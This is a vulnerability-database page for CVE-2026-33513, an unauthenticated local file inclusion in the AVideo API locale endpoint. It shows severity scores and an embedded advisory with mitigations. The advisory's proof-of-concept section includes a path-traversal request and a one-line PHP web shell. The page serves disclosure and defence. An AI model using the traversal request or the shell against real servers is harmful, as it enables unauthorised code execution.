CVE-2026-33513

highPriorität · verfolgen · 30EPSS 0.008 · 55. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.75% (55th) EPSS
CVSS 7.5 · high
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · bewertet 2026-10-27

WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated API endpoint (`APIName=locale`) concatenates user input into an `include` path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., `view/about.php`), and it *can* escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree. As of time of publication, no patched versions are available.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

8.6
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.9–8.6

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nprimary · NVD / NIST USAusnutzbarkeit 3.9 · Auswirkung 3.6
v3.18.6highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:Lsecondary · ENISA EU
v3.18.6highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:Lsecondary · security-advisories@github.comAusnutzbarkeit 3.9 · Auswirkung 4.7
v3.18.6highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:Lsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (1)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-8fw8-q79c-fp9mAVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP)2026-03-20ghsa · osvUS

    ### Summary An unauthenticated API endpoint (`APIName=locale`) concatenates user input into an `include` path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., `view/about.php`), and it *can* escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree. ### Details - Entry point: `plugin/API/get.json.php` sets `$global['bypassSameDomainCheck']=1` and merges GET/POST/JSON into `$parameters` without authentication or API secret. - Handler: `plugin/API/API.php`, method `get_api_locale()` (lines ~5009–5023): ```php $parameters['language'] = strtolower($parameters['language']); $file = "{$global['systemRootPath']}locale/{$parameters['language']}.php"; if (!file_exists($file)) { return new ApiObject("This language does not exists"); } include $file; ``` No validation is performed; `../` traversal is accepted. - Because `include` executes PHP, any reachable PHP file is executed in the web server context. ### PoC 1. Fetch an arbitrary PHP file (no auth): ``` GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1 Host: <target> ``` Response returns the rendered About page HTML, proving traversal outside `locale/`. 2. RCE with an attacker PHP file (any writable PHP path): ``` GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami ``` If `shell.php` contains `<?php system($_GET['x']); ?>`, the response includes command output. ### Impact - Unauthenticated file inclusion of arbitrary PHP files under the web root. - Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output. - Potential RCE *if* any attacker-writable PHP file exists elsewhere (not confirmed in this build). - Affects any deployment with the API plugin enabled (default in docker-compose). ### Mitigation - Reject path separators/dots and enforce a strict allowlist of locale slugs. - `realpath` the target and ensure it stays within `$systemRootPath/locale`. - Stop using `include` for translations; load data from vetted formats (JSON/array). - Add authentication (API secret/token) to the endpoint as a secondary control.

06

auch bekannt als (3)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-03-23geändert 2026-06-17
08

Referenzen (4)

Externe Belege — Patches, Meldungen, Analysen.

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